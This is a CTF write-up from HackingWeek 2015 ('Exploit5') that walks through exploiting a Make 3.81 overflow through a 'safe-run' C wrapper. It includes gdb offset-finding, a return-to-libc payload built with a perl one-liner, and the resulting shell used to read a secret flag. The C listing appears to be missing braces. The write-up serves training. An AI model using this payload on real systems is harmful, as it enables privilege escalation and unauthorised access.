English [HackingWeek 2015] [Exploit5] Write Up

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <string.h>

main(int argc, char ** argv)
  char * make_path = "/home/exploit05/project/make";
  char * path_prefix = "/home/exploit05/project/";

  /* Checking if there is an argument, fail if not */
  if (argc < 2)
      fprintf (stderr,
         "safe-run: error: missing argument\n"
         "usage: safe-run MAKEFILE_PATH\n");

  /* Check if the given path has '..' inside */
  if (strstr(argv[1], ".."))
      fprintf (stderr,
         "safe-run: detected an attempt to escape the directory !\n");

  /* Concatenate path_prefix and argv[1] */
  char *makefile_path = malloc(strlen(path_prefix) + strlen(argv[1]) + 1);

  strcpy(makefile_path, path_prefix);
  strcat(makefile_path, argv[1]);

  printf("command: %s -f %s\n", make_path, makefile_path);

  /* Calling execve() */
  char * args[4] = { make_path, "-f", makefile_path, 0 };
  char * envp[1] = { 0 };

  execve(make_path, args, envp);

  /* In case the execve is failing */
  return EXIT_FAILURE;

Make is called in the execve() call at the end of source code.
We tried some make vulnerabilities, and found this Make 3.81 Heap Overflow.

After one try, we found out it was vulnerable :

$ gdb
(gdb) file make
(gdb) set disassembly-flavor intel
(gdb) r $(perl -e 'print "A"x4126')

(gdb) i r
eip            0x792e4141   0x792e4141              //EIP partially rewritten

We need to add 2 “A” so our buffer length + EBP + EIP registers looks like this  :

[ 4120 A ] [ 4 EBP ] [ 4 EIP] = 4128

We gather some other informations :

guest@ns314076:/home/exploit05/project$ readelf -l safe-run
Elf file type is EXEC (Executable file)
Entry point 0x8048500
There are 8 program headers, starting at offset 52

Program Headers:
Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4         //RW, not X

Since environment is emptied before calling make, stack is not executable and ASLR is disabled, we’ll try a return to libc exploitation. We first find system() address

(gdb) p system
$1 = {<text variable, no debug info>} 0x4006ac30 <system>

So we push system() address on the stack, preceded by a random address (return from system() ), and before that, arguments to system. Here, the only argument is a string containing ‘sh;’. We just put this string in our buffer, and after a quick dichotomous analysis, we find its address.

/home/exploit05/project/safe-run $(perl -e 'print "A"x2062 . "sh;" . "B" x2059  ."\x30\xac\x06\x40" . "AAAA" . "\xc4\xf7\xff\xbf"')

sh-4.2$ whoami
sh-4.2$ cat /home/exploit05/.secret

The flag is : EiN5ohqu5U

Leave a Reply

Your email address will not be published. Required fields are marked *